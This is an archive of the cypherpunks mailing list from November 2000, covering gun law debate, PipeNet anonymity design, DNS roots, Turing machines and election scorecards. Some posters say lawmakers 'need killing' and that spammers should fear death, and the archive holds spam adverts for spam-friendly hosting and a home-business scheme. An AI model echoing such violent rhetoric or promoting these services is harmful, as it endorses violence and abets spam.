<20001106000603.A11038@cluebot.com> This is a somewhat interesting question. Presumably just as the right to speak freely includes the right to keep one's silence, the right to bear arms includes the right to remain weaponless (modulo conscription). The 2A arguably goes further than the 1A; the first is a literal prohibition on what Congress may do (at least in those pre-14th days), while the second says the right "shall not be infringed." So if we agree the right exists, by a strict originalist reading of the Constitution, it's reasonable that it would be unconstitutional for any government to require such. -Declan On Sun, Nov 05, 2000 at 07:35:33PM -0500, Peter Capelli/Raleigh/Contr/IBM wrote: > Yes, while it would be unconstitutional for the federal government to > pass this law, how could it be unconstitutional as a local or state > statute? Something similar to requiring X number of smoke detectors per > square foot. Additionally, it does not mention a paperwork requirement for > not owning a gun. > > While I admit it seems like a foolish law (akin to requiring a citizen > to vote), I hardly see how it would require 'a killing'. Also, given their > views, killing them may not be as easy as others who are unarmed. ;-) > > Thanks! > > -p > > "Those who would give up essential liberty for temporary safety deserve > neither liberty nor safety" - Benjamin Franklin, 1759 > > > Tim May @cyberpass.net on 11/05/2000 04:32:13 PM > > Please respond to Tim May > > Sent by: owner-cypherpunks at cyberpass.net > > > To: cypherpunks at cyberpass.net > cc: > Subject: Re: Here's an interesting twist on gun control ... > > > > At 3:37 PM -0500 11/5/00, Peter Capelli/Raleigh/Contr/IBM wrote: > >http://www.cnn.com/2000/US/11/05/mandatory.guns.ap/index.html > > > > > > > > Utah town requires all households to own gun > > > > November 5, 2000 > > Web posted at: 11:22 AM EST (1622 GMT) > > > > VIRGIN, Utah (AP) -- This tiny southern Utah town > >has enacted an ordinance > > requiring a gun and ammunition in every home for > >residents' self-defense. > > > > Most of Virgin's 350 residents already own > >firearms, so the initiative has lots of > > support, Mayor Jay Lee said. > > > > Residents had expressed fear that their Second > >Amendment right to bear arms > > was under fire, so the town council modeled a > >similar measure passed by a > > Georgia city about 12 years ago. > > > > The mentally ill, convicted felons, conscientious > >objectors and people who > > cannot afford to own a gun are exempt. > > This has been done before. A town in Georgia, one in Ohio or > Illinois, as I recall. > > t is just as unconstitutional to _require_ a gun as it is to _ban_ guns. > > The crap about "conscientious objector" is just that, crap. I shouldn't > have to fill out some bullshit form to say I have conscientious > objections to having a gun in my house. > > Government may no more require a gun in a house than it may require a > television, or a telephone, or a toothbrush. > > Yes, I know the law is pure fluff, and hence is moot, a nullity, as > they say. But the principle of _requiring_ a gun is just as foolish > as the notion of banning guns. Frankly, those who pass such laws need > killing just as much as the tens of thousands who are banning guns > need killing. > > > --Tim May > > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > > > From bill.stewart at pobox.com Mon Nov 6 00:13:03 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 06 Nov 2000 00:13:03 -0800 Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: References: Message-ID: <3.0.5.32.20001106001303.00919500@idiom.com> At 10:44 PM 11/5/00 -0600, Mac Norton wrote: >Again we have one of those few occasions in which Tim and I >are in perfect agreement. To require gun ownership just >because "arms" or "militia" is in the Constitution makes >as much sense as requiring us all to have a press just >because "press" is in the Constitution. While I agree with this, most states and cities not only require you to have guns, they require you to hire guys in blue suits to carry them around. Back when we had state militias, people were often required to be part of them, and the Feds still require you to sign up for the draft so they can tell you to carry them and shoot their enemies in places like Vietnam if they can't get enough volunteers. The only difference here is they're giving you a bit more choice on who you shoot and when.... But then, if the War Between The States was really about slavery, why did Lincoln use conscript troops to fight it? (The Secession was to prevent slavery from being banned, but the War was to enforce nationalism.) But yeah, it was tacky for Kennesaw Georgia to make their law, and it's tacky for this part of Utah to do so. "You have the right to own a gun. If you do not own a gun, one will be provided for you." Or, as Woody Guthrie said about the draft, "Well, they can make me carry a gun, but they can't tell me which way to point it." Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From nobody at hotmail.com Sun Nov 5 18:13:37 2000 From: nobody at hotmail.com (Nobody) Date: Mon, 06 Nov 2000 02:13:37 GMT Subject: CDR: !!!!BULK EMAIL HOSTING!!!! Message-ID: Contact sales at hostmatters.com or call TOLL-FREE on 1-877-381-1083 if you have any questions. Dear Readers, I have found this incredible service called HOSTING MATTERS Hosting Matters is a fantastic way to host adult and bulk email-friendly web sites with NO WORRIES about getting shut down as they are only out to try and make money, not police the net. The service is VERY CHEAP and I recommend it for the following types of sites: - Bulk emailing - Adult content & services - Controversial/Hate sites As far as I know, they have NEVER shut down above-mentioned types of sites! For more info contact them on the web site below. http://www.hostmatters.com or an alternative URL: http://www.hostingmatters.com From bear at sonic.net Sun Nov 5 23:25:58 2000 From: bear at sonic.net (Ray Dillinger) Date: Mon, 6 Nov 2000 02:25:58 -0500 Subject: CDR: Re: PipeNet protocol In-Reply-To: <200011060314.WAA01504@cypherspace.org> Message-ID: On Sun, 5 Nov 2000, Adam Back wrote: >| Each node expects one packet from each link id in each time unit. >| Extra packets are queued for processing in later time units. >| However, if a node does not receive a packet for a link id in a >| particular time unit, it stops normal processing of packets for that >| time unit and queues all packets. This ensures that any delay is >| propagated through the entire network and cannot be used to trace a >| particular connection. > >This is to defend against active attacks delaying packets to observe >the effect on the network and hence trace routes. > >However I think this scheduling algorithm would have the side effect >of making this variant of PipeNet very vulnerable to DoS attacks. Any >user can arbitrarily delay packet delivery for the entire network by >ceasing to send packets. It also limits the ability of Pipenet to scale. Basically, the more people you get, the longer the time periods become (because every node has to send every other node a packet, and it takes longer to receive a million packets than it takes to receive a dozen). Once you are down to being able to send only one packet per hour to any particular place, you are effectively scrod as far as getting anything done. Routing through other pipenet nodes is possible, of course, but all the net sources and sinks of data would quickly either overload with queued packets, or be forced to inundate the whole system with nulls on a very regular basis. I've been looking at a mode where nodes are considered "located" relative to each other in some kind of fake coordinate space - not necessarily correlated with physical location. Once you introduce a coordinate space, you can use concepts of direction to help route things. Break up the coordinate plane with a compass rose into sixteen semi-octants, and each round, you transmit to your nearest neighbor in each octant and also to randomly selected ones at medium, long, and very long distance. That way, you can guarantee that if you're not contacting the intended recipient of a packet you're forwarding this round, you will at the very least be contacting a node that's "closer" to the intended recipient than yourself. If you consistently route the packet to any node closer than you, without overshooting, it is guaranteed to arrive in a finite number of hops (overshooting may be feasible in practice, but I haven't been able to prove this property where overshooting is allowed. However, a limited number of overshoots ought to be okay - that's more effective in the average case and reverts to the provable case after the allowed overshoots run out. ). I think it would defeat traffic analysis, because the selection of who sends packets to whom is perfectly random each time, subject to the vagaries of the coordinate space. The analysts could tell who your closest neighbors were in the coordinate space, and could eventually build up a model of the coordinate space and figure out your coordinates in it - but no other information is revealed by the selection of whom you transmit to each time. If you wanted to keep the locations fluid, you could hash all the coordinates each night at midnight GMT. Bear From bill.stewart at pobox.com Mon Nov 6 00:00:04 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 6 Nov 2000 03:00:04 -0500 Subject: CDR: Re: PipeNet protocol In-Reply-To: <200011060455.XAA21740@domains.invweb.net> References: <200011060314.WAA01504@cypherspace.org> Message-ID: <3.0.5.32.20001105235844.00b12510@idiom.com> At 11:55 PM 11/5/00 -0500, captain_kirk at beta.freedom.net wrote: >> For those that don't know about PipeNet Wei has a description here >> [1]. PipeNet is a synchronous mix-net where users stay connected and >> consume bandwidth 24x365 to avoid revealing when they are using it. > >My isp would start charging me extra if I surpassed my monthly ul/dl limit. >Is this realistically feasible with today's infrastructure? Only one of the ISPs I deal with has a traffic limit, and that probably only gets counted for hits to my web pages, not from my dialup connection. Some higher-speed connections have limits, some don't, but again it's more common for hosting service than for transit service. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Mon Nov 6 01:13:46 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 6 Nov 2000 04:13:46 -0500 Subject: CDR: USG Terrorism Resources Re: US report urges Arafat to use In-Reply-To: References: <438f5b53521dca6382cdd2535f5435ba@mixmaster.shinn.net> Message-ID: <3.0.5.32.20001106011218.00b17100@idiom.com> At 11:49 PM 11/5/00 -0500, Tim May wrote: >By the way, my best demolition manuals are from the U.S.G. (I picked >up a set of four CD-ROMs with nearly all of the U.S.G. terrorism, >assassination, mayhem, booby trap, and similar manuals. Precisely the >kind of "bomb-making instructions" the criminals like Sen. Swinestein >are trying to get banned.) So are you going to put them out on Napster? :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From clubdennis at yahoo.com Mon Nov 6 02:56:32 2000 From: clubdennis at yahoo.com (Dennis) Date: Mon, 06 Nov 2000 05:56:32 -0500 Subject: CDR: Make Your Goals a Reality From Home! Message-ID: <200011061058.CAA17293@cyberpass.net> Making your goals a reality could happen right from your home, on your computer with the right Online Business. What you should look for in an online business are these six key ingredients: 1. A Solid Company that is Debt Free. 2. A Company with a Proven Track Record of Honesty. 3. A Company that has Top Notch Team Support. 4. An Outstanding Income Plan. 5. Products and Services that everyone can use and doesn't require YOU to purchase them to make money. 6. Products & Merchandise offered to the online buying public at GENUINE Wholesale Prices, WITHOUT any obligation to buy anything and without having to pay any fees or dues to purchase those products and merchandise. Join the DHS Club's Postlaunch FREE, no obligation. To Join Free, send email to: clubdennis at yahoo.com and type "Sign Me Up" in the subject line, then type your First and Last Name in the Letter Body. You will soon be a FREE Member in the DHS Club's Postlaunch, and learn how you, too, can have your very own Internet Business. Best Wishes, Dennis ================================================ This message is sent in compliance of the proposed bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to clubdennis at yahoo.com with the word REMOVE in the subject line. _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From baptista at pccf.net Mon Nov 6 03:25:20 2000 From: baptista at pccf.net (Joe Baptista) Date: Mon, 6 Nov 2000 06:25:20 -0500 (EST) Subject: CDR: Re: Roots servers on rise - ICANN's golden egg cracking In-Reply-To: <200011060327.WAA20623@www0.aa.psiweb.com> Message-ID: On Sun, 5 Nov 2000 George at orwellian.org wrote: > # Last year alternate roots supported 0.3% of internet traffic. > # > # This year alternate roots are supporting 5.5% of internet traffic. > # > # The BIND study this year to date has ennumerated 60,513 dns (15% of > # 399,937 dns) of which 3,331 report they are using non-USG roots. > > Don't "alternate roots" have to have a copy of > what the main root servers have? Then they are > doing a favor by off-loading traffic. Not all the time. I've noticed some corporations (big ones like hyundai) use their own roots to block traffic to their employees. There's a wildcard record in the root so that if an employee goes to www.sex.com they end up at www.hyunai.com - or something to that effect. > Separately, I've noticed something on my Solaris 8 box. > > I often freeze my Netscape browser windows when leaving > the computer for a while. That's because FoxNews and NYT > (for example) keep reloading themselves again and again. > This is unwanted push traffic. It's not costing me anything > over my DSL/Cable modems, it's just unwanted by me. > > Even with browsers frozen... > > I recently left 'snoop' running, and found I was initiating > DNS traffic...to FoxNews and NYT. Looking closer, I had DNS > queries regarding non-browser-accessed sites, like ftp. That is odd. DNS can carry alot more then just dns. Maybe that's whats' hapeening. regards joe -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster From weidai at eskimo.com Mon Nov 6 03:53:10 2000 From: weidai at eskimo.com (Wei Dai) Date: Mon, 6 Nov 2000 06:53:10 -0500 Subject: CDR: Re: PipeNet protocol In-Reply-To: <200011060314.WAA01504@cypherspace.org>; from adam@cypherspace.org on Sun, Nov 05, 2000 at 10:11:54PM -0500 References: <200011060314.WAA01504@cypherspace.org> Message-ID: <20001106035239.A20293@eskimo.com> On Sun, Nov 05, 2000 at 10:11:54PM -0500, Adam Back wrote: > For those that don't know about PipeNet Wei has a description here > [1]. PipeNet is a synchronous mix-net where users stay connected and > consume bandwidth 24x365 to avoid revealing when they are using it. > > PipeNet's synchronous behavior would be implemented on top of TCP with > it's best-effort service by using the following scheduling algorithm > (from [1]): > > | Each node expects one packet from each link id in each time unit. > | Extra packets are queued for processing in later time units. > | However, if a node does not receive a packet for a link id in a > | particular time unit, it stops normal processing of packets for that > | time unit and queues all packets. This ensures that any delay is > | propagated through the entire network and cannot be used to trace a > | particular connection. > > This is to defend against active attacks delaying packets to observe > the effect on the network and hence trace routes. > > However I think this scheduling algorithm would have the side effect > of making this variant of PipeNet very vulnerable to DoS attacks. Any > user can arbitrarily delay packet delivery for the entire network by > ceasing to send packets. > > It would also seem that performance would degrade badly to effectively > the performance of the worst ping time link. That is all true. I guess what you meant by "insufficient" is in terms of performance and defense against DoS attacks, not defense against traffic analysis. If that's the case then I agree with you. I think a protocol that has good performance, defense against DoS attacks, and defense against traffic analysis may not exist. There may not even be a viable protocol that trades off between these properties. The reason I have this suspicion is from a consideration of what the choices are when a node does not receive a packet in the time period that it expects to receive it. PipeNet chooses to propagate the delay to everyone else, and gets bad performance and defense against DoS attacks. Freedom chooses to propagate the delay to no one else, and gets bad defense against traffic analysis. I don't see what else you can do that would avoid both of these problems. There is a hope, however, that the performance and DoS problems of PipeNet could be solved in the future through other means. The performance issue is easier, since it just requires the underlying network to have better reliability and guarantee of service. The DoS problem could be solved if the underlying network is protected against DoS. Then we can require each user to place a large deposit on each node, which would be used to compensate everyone else for any delay caused by that user. From ravage at EINSTEIN.ssz.com Mon Nov 6 05:11:25 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 07:11:25 -0600 (CST) Subject: CDR: Re: Roots servers on rise - ICANN's golden egg cracking In-Reply-To: <200011060327.WAA20623@www0.aa.psiweb.com> Message-ID: On Sun, 5 Nov 2000 George at Orwellian.Org wrote: > Don't "alternate roots" have to have a copy of > what the main root servers have? Then they are > doing a favor by off-loading traffic. No. BIND, at least, allows at least two root nameservers. Make one a traditional one and one not. It's really an issue for the user and not the nameserver operator. > Separately, I've noticed something on my Solaris 8 box. > > I often freeze my Netscape browser windows when leaving > the computer for a while. That's because FoxNews and NYT > (for example) keep reloading themselves again and again. > This is unwanted push traffic. It's not costing me anything > over my DSL/Cable modems, it's just unwanted by me. > > Even with browsers frozen... > So, Solaris at least, is generating 100% unnecessary DNS traffic. Simply because you've minimized the process's desktop doesn't mean it's not running. The DNS is from your browzer and not Solaris. Kill the browser and these querries will go away (eventualy, it sometimes takes Netscape quite a while to actualy shut down). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 6 05:14:20 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 07:14:20 -0600 (CST) Subject: CDR: Re: Here's an interesting twist on gun control ... In-Reply-To: Message-ID: On Sun, 5 Nov 2000, Ray Dillinger wrote: > An interesting exercise is to ask where the government (ANY branch of > government) gets the authority to require me to put smoke detectors > in my home. If my house burns down, that's my tough toenails, right? They don't if you're the home owner and it's your home. The law requires the owner of rental property to have them installed, there is no law that says the tenents must use them. For example the law does not clarify who and when the batteries must be changed. Most of this stuff is regulated by insurance contract and not law (at least the non-contractual type). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 6 05:34:24 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 07:34:24 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: <3.0.5.32.20001105234753.00b10250@idiom.com> Message-ID: On Sun, 5 Nov 2000, Bill Stewart wrote: > >> > >> Um, the definition of "nondeterministic Turing machine" implies such a > >> guarantee. You seem to be thinking of a probabilistic Turing machine - a > >> machine which can flip coins and use the results in an algorithm. > >> They are **not** the same thing. > Dave's right, Jim. The NDTM obtains The Right Answer by using a process > you could call "guessing" or you could call "an oracle". That's not > "Oracle" like "Larry Ellison telling you what you WILL buy next", it's > "Oracle" like "Stoned priestess telling you that if you attack today, > a great kingdom will fall", and the polynomial-time part is where > you crank that through and find out that yes, it's correct. > (Unfortunately it's *your* kingdom, but it's correct.) Dave's right, you're not. While it is true a NDTM has a guessing module before that 'guessed' state causes the NDTM to change to the resultant state there is a level of PROOF involved. It is required to prove the answer is right. There is NO magic in an NDTM, it doesn't pull the correct answer out of the air. The distinction at this level between a NDTM and a probabilistic TM is that a PTM doesn't check the result at time of selection but after. It's the algorithm that the Turing machine is running that does the checking. In a NDTM it is the 'guessing module'. The real question related to a NDTM is 'if you have a algorithm that allows you to guess answers and verify them before submission for execution' why are you executing the algorithm? You already know the answer is correct. See: http://www.hissa.nist.gov/dads/HTML/nondetrmtur.html "Definition: A turning machine which has more than one next state for some combination of contents of the current cell and current state. An input is accepted if any move sequence leads to acceptance." In other words you have to have a 'input verifier' that verifies the data is good before the next state(s) are entered. Note this means your verification function can't be NP. This is all really moot since NDTM's don't handle a single language that a DTM can handle, and determining whether all Boolean sentences are valid (irrespective of their actual result) is dealing with a language. It most assuradely has NOTHING to do with the question of how one builds a 'universal sentence parser' that can return a verifiable yes/no as to validity when Godel's says all sentences don't necessarily have a valid result (ie they aren't provably consistent). ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 6 05:51:54 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 07:51:54 -0600 (CST) Subject: CDR: Internet IP scan completed (> 4E9 IP's served) Message-ID: It's on /. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Mon Nov 6 06:03:05 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 6 Nov 2000 08:03:05 -0600 (CST) Subject: CDR: Re: Internet IP scan completed (> 4E9 IP's served) In-Reply-To: <200011060854_MC2-B9CF-B18E@compuserve.com> Message-ID: On Mon, 6 Nov 2000, montecucchi Pier Carlo wrote: > Message text written by INTERNET:cypherpunks at EINSTEIN.ssz.com > >It's on /.< > > What's mean? A real cherry newbie... http://slashdot.org ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From pcmontecucchi at compuserve.com Mon Nov 6 05:54:00 2000 From: pcmontecucchi at compuserve.com (montecucchi Pier Carlo) Date: Mon, 6 Nov 2000 08:54:00 -0500 Subject: CDR: Internet IP scan completed (> 4E9 IP's served) Message-ID: <200011060854_MC2-B9CF-B18E@compuserve.com> Message text written by INTERNET:cypherpunks at EINSTEIN.ssz.com >It's on /.< What's mean? Eurymedon From tom at ricardo.de Mon Nov 6 06:04:41 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 6 Nov 2000 09:04:41 -0500 Subject: CDR: Re: PipeNet protocol References: <200011060314.WAA01504@cypherspace.org> Message-ID: <3A06B917.15C3998A@ricardo.de> Adam Back wrote: > | Each node expects one packet from each link id in each time unit. > | Extra packets are queued for processing in later time units. > | However, if a node does not receive a packet for a link id in a > | particular time unit, it stops normal processing of packets for that > | time unit and queues all packets. This ensures that any delay is > | propagated through the entire network and cannot be used to trace a > | particular connection. > > This is to defend against active attacks delaying packets to observe > the effect on the network and hence trace routes. I don't understand the necessity of this. if the amount of traffic is a constant anyway, a delay would vanish at the first node. e.g. my upstreams provider sends out x bytes every time unit, no matter whether or not he gets anything from me. when I stop sending, nothing in his traffic pattern changes. From tcmay at got.net Mon Nov 6 09:17:22 2000 From: tcmay at got.net (Tim May) Date: Mon, 6 Nov 2000 09:17:22 -0800 Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen In-Reply-To: <008901c0480b$322e2920$0100a8c0@nandts> References: <008901c0480b$322e2920$0100a8c0@nandts> Message-ID: At 10:04 AM -0600 11/6/00, Neil Johnson wrote: >I think you must be mistaking "Wired" for the "Weekly World News". > >You know I live about 20-30 miles from a large government/corporate >installation (the Iowa Army Ammunition Plant in South Eastern Iowa). Was >opened in the early 1900's. Thousands of acres, 100's of miles of Railroad, >Bunkers, Warehouses, High Security, built atomic bombs in the 50's and 60's. >It doesn't even show up on most maps. > Sounds much like the fictional setting for the "Newark Incident" in John Gilstrap's "At Any Cost." In that novel, a very large former weapons plant in Arkansas is the site of some old weapons bunkers leaking nerve gases and whatnot. Rail lines, "mounds" covering the bunkers are covered with trees which have grown up over the years since the plant was decommissioned, etc. I don't know if there was such a plan in Arkansas as well as in Iowa, or whether Gilstrap simply changed a few names and sites to protect the guilty. A good read, though, as was his earlier thriller, "Nathan's Run." --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Mon Nov 6 09:24:43 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 06 Nov 2000 09:24:43 -0800 Subject: CDR: Re: Internet IP scan completed (> 4E9 IP's served) In-Reply-To: References: <200011060854_MC2-B9CF-B18E@compuserve.com> Message-ID: <3.0.5.32.20001106092443.009acc40@idiom.com> >> >It's on /.< .... http://slashdot.org It's kind of a cool hack, though apparently there are at least two companies that have done it. 2**32 is just NOT a very big number any more, so it's not surprising that somebody has tracerouted all of it (except 10.* and other private spaces.) Depending on how efficient they want to be, there are ways to make the traceroutes take advantage of the fact that they're sequentially scanning, so most locations take the same path as the previous one. I'm probably going to port-scan 10.*, which in this case is my organization's lab network which has 4 locations and could use better documentation. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From tcmay at got.net Mon Nov 6 09:38:39 2000 From: tcmay at got.net (Tim May) Date: Mon, 6 Nov 2000 09:38:39 -0800 Subject: CDR: Re: Wired News Senate scorecard: Democrats beat Republicans In-Reply-To: <4.3.0.20001106095536.01b7a530@mail.well.com> References: <4.3.0.20001106095536.01b7a530@mail.well.com> Message-ID: At 9:55 AM -0500 11/6/00, Declan McCullagh wrote: >Just in time for Tuesday's election, Wired News has compiled a tech >scorecard for the U.S. Senate. Showing the foolishness of converting a more nuanced, vector form of voting records into a simplistic, scalar form. Consider some of these questions: > > #4: A vote to require federal candidates to disclose contributions > online within 24 hours. (Yes is 1) Supporters of liberty don't like "campaign disclosure" laws at all, let alone "online disclosure." Consider the equally onerous violation of the First Amendment: "Those writing articles must disclose online anyone with whom they have had financial relationships over the past 5 years." A clear violation of the First, right? So is any limit on who I support financially, who I give money to, how candidates raise money, etc. > > #8: A vote to create an information-technology-training tax credit. > (Yes is 1) Just another special interest tax loophole. Those interested in liberty know that these loopholes distort the free market. The usual result of such "training credits" is a series of mostly-bogus "Learn to Operate Keypunch Machines at the Control Data Institute!!" radio ads for fly-by-night schools in areas very far from technology centers. Getting the training subsidies is what matters. In these cases, I would argue strongly that a "No is 1." No wonder the Dems did so well. Again, the real problem is trying to collapse multiple issues into a simple-minded "technology score." At least the Nolan Chart understands that at least two dimensions are needed. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Mon Nov 6 06:46:13 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 6 Nov 2000 09:46:13 -0500 Subject: CDR: Re: FW: BLOCK: AT&T signs bulk hosting contract with spammers In-Reply-To: <007501c047a8$11e25fa0$a6d11018@vncvr1.wa.home.com>; from jimdbell@home.com on Sun, Nov 05, 2000 at 08:14:34PM -0800 References: <007501c047a8$11e25fa0$a6d11018@vncvr1.wa.home.com> Message-ID: <20001106094612.A15551@cluebot.com> Then, depending on your personal preferences and how valuable you think you are to prospective emailers, accept only email messages with $0.10, or $1.00, or $10.00... It's a market; you do the math. -Declan On Sun, Nov 05, 2000 at 08:14:34PM -0800, jim bell wrote: > > ----- Original Message ----- > From: Alex B. Shepardsen > > > > On Thu, 2 Nov 2000, Kevin Elliott wrote: > > > > > You know, I don't like spammers any more than the next guy, but come > > > on. Unethical? we're not talking genocide and it's not like it > > > > We ought to be. If spammers feared death as a result of their actions, > > they would be a lot less likely to spam. > > I've got a solution to that....oh, never mind. > > If "spammers" attached a digi-nickel to each spam, you'd only have to get > 300 such pieces per month (10 per day) to pay for the typical ISP account > monthly cost. > > Jim Bell > > From ptrei at rsasecurity.com Mon Nov 6 06:46:27 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Mon, 6 Nov 2000 09:46:27 -0500 Subject: CDR: RE: RISKS: New Jersey shuts down E-ZPass statement site after sec urity breached Message-ID: EZ-Pass is a perfect example of people choosing convenience over security, and a bad design "creating the tools for tyranny". While the accounting system most certainly keeps records of where you were, and when, so it can do billing, the system is structured in such a way that an intrusive government can place antennas anywhere they want, and clandestinely record all EZ-Pass equipped vehicles passing a given point (even if it is not a toll site). [It just struck me that there may be a novel legal challenge to this; since you have contracted with a transport agency to use EZ-Pass, any non-contractual activation of the system could be legally construed as computer hacking - the snooping antenna has to power up your EZ-pass' chip (that's what those big inductive loop antennas are for), cause it to run a program, and return a result. If the EZ-Pass is rented from the authority I don't know if you'd have standing to sue, though.] Of course, EZ-Pass could have been designed so that the device was anonymous, and prepaid stored value (bought for cash) smartcards used to meter access. It would probably have worked out cheaper as well, since the accounting overhead goes away, and they make intereset on the float of unused cards.... ....but such a mechanism would not have suited Big Brother nearly as well. Peter Disclaimer: The above represents my personal views only] > ---------- > From: Bill Stewart[SMTP:bill.stewart at pobox.com] > Reply To: Bill Stewart > Sent: Friday, November 03, 2000 10:35 PM > To: cypherpunks at cyberpass.net > Subject: RISKS: New Jersey shuts down E-ZPass statement site after > security breached > > the following pleasant article on privacy was on RISKS. > > Date: Tue, 24 Oct 2000 11:19:44 -0400 (EDT) > From: danny burstein > Subject: EZ-Pass discovers risk of sending URLs instead of actual text > > In a story datelined 24-Oct-2000, and headlined: > > New Jersey shuts down E-ZPass statement site after security breached > > The Associated Press reported on a problem with privacy and security on > the New Jersey EZPASS website where people can review their usage. > (EZPass is a radio transponder placed in your motor vehicle which is > "read" at toll booths, enabling you to zip through without having to stop > and hand over cash. Naturally it keeps records of when and where you > were for billing purposes... Which is another RISK all together) > [...] From declan at well.com Mon Nov 6 06:55:39 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 06 Nov 2000 09:55:39 -0500 Subject: CDR: Wired News Senate scorecard: Democrats beat Republicans Message-ID: <4.3.0.20001106095536.01b7a530@mail.well.com> Just in time for Tuesday's election, Wired News has compiled a tech scorecard for the U.S. Senate. The list sorted by last name: http://www.wired.com/news/print/0,1294,39923,00.html Sorted by score: http://www.wired.com/news/print/0,1294,39978,00.html Info on House of Representatives scorecard from last month: http://www.politechbot.com/p-01445.html Some interesting results: Democrats did well, nabbing the four top slots, and beating the Republicans 52 percent to 48 percent overall. But Joseph Lieberman, the Democratic VP hopeful, finished with just 38 percent, in the fifth-worst position. Democrat Patrick Moyhihan did the best out of everyone, surprisingly. That was probably because he missed three votes -- on at least one he would probably have gone the wrong way -- but we scored on percentage of cast votes, not possible votes. -Declan #1: A vote to allow the use of electronic signatures. (Yes is 1) #2: A vote for a juvenile crime bill that included Internet regulation (No is 1) #3: A vote for additional H-1B visas. (Yes is 1) #4: A vote to require federal candidates to disclose contributions online within 24 hours. (Yes is 1) #5: A vote to require Internet providers to offer filtering software. (No is 1) #6: A vote to establish permanent trade relations with China. (Yes is 1) #7: A vote to oppose special restrictions on online sales of firearms. (Yes is 1) #8: A vote to create an information-technology-training tax credit. (Yes is 1) #9: A vote to restrict online sales of alcohol. (No is 1) #10: A vote to single out purportedly offensive content online and offline and create a commission to study it. (No is 1) From njohnson at interl.net Mon Nov 6 08:04:07 2000 From: njohnson at interl.net (Neil Johnson) Date: Mon, 6 Nov 2000 10:04:07 -0600 Subject: CDR: Re: Connie Chung fucks up & things are not as they seem.A good example of the tremen References: Message-ID: <008901c0480b$322e2920$0100a8c0@nandts> I think you must be mistaking "Wired" for the "Weekly World News". You know I live about 20-30 miles from a large government/corporate installation (the Iowa Army Ammunition Plant in South Eastern Iowa). Was opened in the early 1900's. Thousands of acres, 100's of miles of Railroad, Bunkers, Warehouses, High Security, built atomic bombs in the 50's and 60's. It doesn't even show up on most maps. It just surprises me that I don't see it getting the kind of crap you see about Area 51 and "Barotouk (sp?)" . Of course it is acknowledged by the Gov't , and N. Telsa didn't do any "cloaking/time experiments" there :). There has been press recently about workers seeking government compensation for possible radiation contamination while manufacturing nukes there. (Hey, maybe I should start a web site too ..... I'm "sure" I can find someone to say that 